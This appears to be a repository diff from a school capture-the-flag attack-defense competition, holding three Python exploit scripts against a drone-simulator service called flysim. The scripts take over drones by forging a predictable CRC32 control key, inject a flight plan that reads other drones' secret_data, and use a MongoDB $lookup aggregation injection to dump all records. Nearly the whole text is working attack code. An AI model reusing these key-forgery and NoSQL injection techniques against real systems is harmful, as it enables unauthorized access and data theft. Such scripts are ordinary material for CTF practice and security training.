drone_obj = droneid_to_drone_obj(client, drone_id)
|
||||
client.drone_id = drone_id
|
||||
cont_key = hex(zlib.crc32((drone_id + drone_obj["label"]).encode()))[
|
||||
2:
|
||||
] # generate 'not so random' control_key
|
||||
client.control_key = cont_key
|
||||
client.connect_to_drone()
|
||||
|
||||
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
|
||||
print(drone_obj_with_secret["secret_data"], flush=True)
|
||||
22
ctfcup24-school-ad/sploits/flysim/sploit_flight_plan.py
Executable file
22
ctfcup24-school-ad/sploits/flysim/sploit_flight_plan.py
Executable file
@@ -0,0 +1,22 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
import sys
|
||||
import drone_client
|
||||
import time
|
||||
import json
|
||||
|
||||
IP = sys.argv[1]
|
||||
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
|
||||
IP
|
||||
]
|
||||
fp = "\n".join([f"0 get_var {d} secret_data" for d in drone_ids])
|
||||
|
||||
client = drone_client.DroneClient(ip=IP)
|
||||
client.create_drone(label="qweqwe11", secret_data="qweqwe", flight_plan=fp)
|
||||
client.connect_to_drone()
|
||||
|
||||
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
|
||||
print(drone_obj_with_secret["flight_log"], flush=True)
|
||||
drone_obj_with_secret = client.wait_for_data_msg(timeout=30)
|
||||
print(drone_obj_with_secret["flight_log"], flush=True)
|
||||
41
ctfcup24-school-ad/sploits/flysim/sploit_nosql.py
Executable file
41
ctfcup24-school-ad/sploits/flysim/sploit_nosql.py
Executable file
@@ -0,0 +1,41 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import requests
|
||||
import sys
|
||||
import drone_client
|
||||
import time
|
||||
import json
|
||||
|
||||
|
||||
def droneid_to_drone_obj(client, drone_id):
|
||||
det = client.get_drones_with_details(json.dumps([{"$match": {}}]))
|
||||
for d in det:
|
||||
if d["id"] == drone_id:
|
||||
return d
|
||||
return None
|
||||
|
||||
|
||||
IP = sys.argv[1]
|
||||
drone_ids = requests.get("http://10.10.10.10/api/client/attack_data/").json()["flysim"][
|
||||
IP
|
||||
]
|
||||
for drone_id in drone_ids[::-1]:
|
||||
client = drone_client.DroneClient(ip=IP)
|
||||
drone_obj = droneid_to_drone_obj(client, drone_id)
|
||||
det = client.get_drones_with_details(
|
||||
json.dumps(
|
||||
[
|
||||
{"$match": {"label": drone_obj["label"]}},
|
||||
{
|
||||
"$lookup": {
|
||||
"from": "drones",
|
||||
"as": "result",
|
||||
"pipeline": [{"$match": {"label": {"$regex": "^.*"}}}],
|
||||
}
|
||||
},
|
||||
]
|
||||
)
|
||||
)
|
||||
|
||||
print(det, flush=True)
|
||||
exit(0)
|
||||
Reference in New Issue
Block a user